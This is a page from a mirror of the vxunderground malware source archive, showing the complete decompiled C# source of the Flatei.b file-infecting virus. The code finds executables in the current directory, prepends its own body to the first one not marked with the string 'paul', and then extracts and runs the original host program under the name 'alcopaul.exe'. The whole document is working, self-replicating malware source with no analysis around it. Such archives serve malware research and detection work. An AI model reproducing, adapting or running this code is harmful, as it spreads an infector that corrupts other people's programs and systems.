mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
128 lines
4.0 KiB
C#
128 lines
4.0 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: v3589_
|
|
// Assembly: v3589, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: EC1B656C-A014-4EA6-B139-295C282840AB
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.b-1b64100e80d6e3fadd04563da3f8cbe9513f039f1ab26eb0b38b1cfe9c6ff31a.exe
|
|
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
|
|
internal class v3589_
|
|
{
|
|
public static void Main(string[] args)
|
|
{
|
|
Module module = Assembly.GetExecutingAssembly().GetModules()[0];
|
|
foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"))
|
|
{
|
|
FileStream fileStream = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read);
|
|
StreamReader streamReader = new StreamReader((Stream) fileStream);
|
|
int offset = (int) fileStream.Length - 4;
|
|
streamReader.BaseStream.Seek((long) offset, SeekOrigin.Begin);
|
|
string str1 = streamReader.ReadLine();
|
|
streamReader.Close();
|
|
string str2 = "paul";
|
|
if (!(str1 == str2))
|
|
{
|
|
if (!(file == module.FullyQualifiedName))
|
|
{
|
|
try
|
|
{
|
|
v3589_.infest(file);
|
|
break;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read);
|
|
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
|
int length = (int) input.Length - 3584;
|
|
binaryReader.BaseStream.Seek(3584L, SeekOrigin.Begin);
|
|
byte[] buffer = new byte[(int) checked ((uint) length)];
|
|
int count = length;
|
|
int index = 0;
|
|
int num;
|
|
for (; count > 0; count -= num)
|
|
{
|
|
num = binaryReader.Read(buffer, index, count);
|
|
if (num != 0)
|
|
index += num;
|
|
else
|
|
break;
|
|
}
|
|
binaryReader.Close();
|
|
BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("alcopaul.exe", FileMode.OpenOrCreate, FileAccess.Write));
|
|
binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
binaryWriter.Write(buffer);
|
|
binaryWriter.Close();
|
|
v3589_.Win32.ShellExecute(0, (string) null, "alcopaul.exe", (string) null, Directory.GetCurrentDirectory(), 1);
|
|
do
|
|
{
|
|
try
|
|
{
|
|
File.Delete("alcopaul.exe");
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
while (File.Exists("alcopaul.exe"));
|
|
}
|
|
|
|
public static void infest(string host)
|
|
{
|
|
BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read));
|
|
binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
byte[] buffer1 = new byte[3584];
|
|
int count = 3584;
|
|
int index1 = 0;
|
|
int num1;
|
|
for (; count > 0; count -= num1)
|
|
{
|
|
num1 = binaryReader1.Read(buffer1, index1, count);
|
|
if (num1 != 0)
|
|
index1 += num1;
|
|
else
|
|
break;
|
|
}
|
|
binaryReader1.Close();
|
|
FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read);
|
|
BinaryReader binaryReader2 = new BinaryReader((Stream) input);
|
|
binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
byte[] buffer2 = new byte[(int) checked ((uint) input.Length)];
|
|
int length = (int) input.Length;
|
|
int index2 = 0;
|
|
int num2;
|
|
for (; length > 0; length -= num2)
|
|
{
|
|
num2 = binaryReader2.Read(buffer2, index2, length);
|
|
if (num2 != 0)
|
|
index2 += num2;
|
|
else
|
|
break;
|
|
}
|
|
binaryReader2.Close();
|
|
BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write));
|
|
binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
binaryWriter.Write(buffer1);
|
|
binaryWriter.Write(buffer2);
|
|
binaryWriter.Write("paul");
|
|
binaryWriter.Close();
|
|
}
|
|
|
|
public class Win32
|
|
{
|
|
[DllImport("shell32.dll", CharSet = CharSet.Auto)]
|
|
public static extern int ShellExecute(
|
|
int hWnd,
|
|
string oper,
|
|
string file,
|
|
string param,
|
|
string dir,
|
|
int type);
|
|
}
|
|
}
|